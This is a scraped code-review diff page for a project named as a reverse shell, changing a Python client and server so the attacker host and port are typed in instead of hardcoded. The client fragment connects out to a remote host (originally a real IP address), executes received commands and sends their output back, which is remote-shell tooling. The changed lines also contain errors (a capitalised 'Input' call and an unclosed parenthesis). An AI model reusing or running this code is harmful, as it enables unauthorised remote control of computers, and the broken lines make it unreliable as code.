Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions Single_Client ( ReverseShell v1)/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@
import subprocess

s = socket.socket()
host = '138.68.68.65'
port = 9999
host = input("Enter the IP : ")
port = int(Input("Enter the port: "))

s.connect((host, port))

Expand All @@ -20,4 +20,4 @@
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))

print(output_str)
print(output_str)
4 changes: 2 additions & 2 deletions Single_Client ( ReverseShell v1)/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@ def create_socket():
global host
global port
global s
host = ""
port = 9999
host = input("Enter the IP: ")
port = int(input("Enter the Port: ")
s = socket.socket()

except socket.error as msg:
Expand Down